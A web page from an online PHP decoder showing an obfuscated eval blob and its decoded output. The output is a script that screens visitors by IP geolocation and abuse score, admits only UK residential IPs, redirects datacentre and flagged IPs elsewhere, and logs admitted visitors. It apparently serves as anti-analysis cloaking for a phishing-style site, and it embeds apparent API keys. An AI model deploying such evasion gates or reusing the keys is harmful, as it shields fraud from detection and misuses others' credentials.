Find this useful? Enter your email to receive occasional updates for securing PHP code.

Signing you up...

Thank you for signing up!

PHP Decode

<?php eval(str_rot13(gzinflate(str_rot13(base64_decode('LUvHruu6lvyai2p7phzQIyvnnCcN5XFSK..

Decoded Output download

<?php
// IP information API token
$token = "34989cde0bbf18"; // Your ipinfo.io token
// AbuseIPDB API key
$abuseIpDbKey = "1f6b17f0c464ed75075d1e3bb1996402c36f1dbe3780500a7262b031f3704a36a135c52a0b9035c7";

// Get the visitor's IP address     
$ip = $_SERVER['REMOTE_ADDR'];

// Step 1 log file
$step1LogFile = "step1_log.txt";
// Step 2 log file
$step2LogFile = "step2_log.txt";
// Successful user log file
$successLogFile = "successful_users.txt";

// Open the Step 1 log file
$log1 = fopen($step1LogFile, "a");

// Get IP info using ipinfo.io
$ipInfoUrl = "https://ipinfo.io/{$ip}?token={$token}";
$ipInfoResponse = file_get_contents($ipInfoUrl);
$ipInfoData = json_decode($ipInfoResponse, true);

// Log the IP info response for Step 1
$dateTime = date("Y-m-d H:i:s");
fwrite($log1, "Checked IP: {$ip} on {$dateTime}
Response: {$ipInfoResponse}
");

// Step 1 checks
$step1Passed = true;

if (
    !isset($ipInfoData['timezone']) || strpos($ipInfoData['timezone'], "Europe") === false ||
    !isset($ipInfoData['country']) || $ipInfoData['country'] !== "GB" ||
    (isset($ipInfoData['org']) && (
        stripos($ipInfoData['org'], "datacamp") !== false ||
        stripos($ipInfoData['org'], "digitalocean") !== false ||
        stripos($ipInfoData['org'], "digital ocean") !== false ||
        stripos($ipInfoData['org'], "Datacamp Limited") !== false
    )) ||
    (stripos(json_encode($ipInfoData), "datacamp") !== false)
) {
    $step1Passed = false;
}

// Log the result of Step 1
if ($step1Passed) {
    fwrite($log1, "IP {$ip} passed Step 1 checks. Proceeding to Step 2.

");
    fclose($log1);
} else {
    fwrite($log1, "IP {$ip} failed Step 1 checks. User blocked.

");
    fclose($log1);
    header("Location: https://en.wikipedia.org/wiki/Wikipedia:Random");
    exit();
}

// Open the Step 2 log file
$log2 = fopen($step2LogFile, "a");

// Step 2: Check abuse confidence score using AbuseIPDB
$abuseIpDbUrl = "https://api.abuseipdb.com/api/v2/check?ipAddress={$ip}";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $abuseIpDbUrl);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
curl_setopt($ch, CURLOPT_HTTPHEADER, [
    "Key: {$abuseIpDbKey}",
    "Accept: application/json"
]);
$abuseResponse = curl_exec($ch);
curl_close($ch);
$abuseData = json_decode($abuseResponse, true);

// Log the abuse check response for Step 2
fwrite($log2, "Checked IP: {$ip} on {$dateTime}
");
fwrite($log2, "-------------------------------------------------
");
if (isset($abuseData['data'])) {
    fwrite($log2, "IP Address    : {$ip}
");
    fwrite($log2, "Abuse Score   : {$abuseData['data']['abuseConfidenceScore']}
");
    fwrite($log2, "ISP           : {$abuseData['data']['isp']}
");
    fwrite($log2, "Domain        : {$abuseData['data']['domain']}
");
    fwrite($log2, "Country       : {$abuseData['data']['countryCode']}
");
    fwrite($log2, "Usage Type    : {$abuseData['data']['usageType']}
");
    fwrite($log2, "-------------------------------------------------
");

    if ($abuseData['data']['abuseConfidenceScore'] > 3) { // Threshold changed to 3
        fwrite($log2, "IP {$ip} failed Step 2 checks. User blocked.

");
        fclose($log2);
        header("Location: https://en.wikipedia.org/wiki/Wikipedia:Random");
        exit();
    } else {
        fwrite($log2, "IP {$ip} passed Step 2 checks. Proceeding to success log.

");
    }
} else {
    fwrite($log2, "IP {$ip} failed to retrieve data from AbuseIPDB. User blocked.

");
    fclose($log2);
    header("Location: https://en.wikipedia.org/wiki/Wikipedia:Random");
    exit();
}

// Close Step 2 log file
fclose($log2);

// Log successful users
$logSuccess = fopen($successLogFile, "a");

// Log the successful user details with exact timestamp
$dateTime = date("Y-m-d H:i:s");
fwrite($logSuccess, "Successful User: {$ip} on {$dateTime}
");
fwrite($logSuccess, "-------------------------------------------------
");
fwrite($logSuccess, "Hostname   : {$ipInfoData['hostname']}
");
fwrite($logSuccess, "City       : {$ipInfoData['city']}
");
fwrite($logSuccess, "Region     : {$ipInfoData['region']}
");
fwrite($logSuccess, "Country    : {$ipInfoData['country']}
");
fwrite($logSuccess, "Location   : {$ipInfoData['loc']}
");
fwrite($logSuccess, "Postal     : {$ipInfoData['postal']}
");
fwrite($logSuccess, "Timezone   : {$ipInfoData['timezone']}
");
fwrite($logSuccess, "ASN        : {$ipInfoData['asn']}
");
fwrite($logSuccess, "Domain     : {$ipInfoData['domain']}
");
fwrite($logSuccess, "Route      : {$ipInfoData['route']}
");
fwrite($logSuccess, "Type       : {$ipInfoData['type']}
");
fwrite($logSuccess, "-------------------------------------------------

");
fclose($logSuccess);

// Allow the user to access the site   
?>

Did this file decode correctly?

Original Code

<?php
eval(str_rot13(gzinflate(str_rot13(base64_decode('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')))));
?>

Function Calls

strrev 3
gzinflate 11
str_rot13 11
gzuncompress 4
rawurldecode 1
base64_decode 18

Variables

None

Stats

MD5 d1ba9787ea3f08d38553099fbad2ed4b
Eval Count 16
Decode Time 108 ms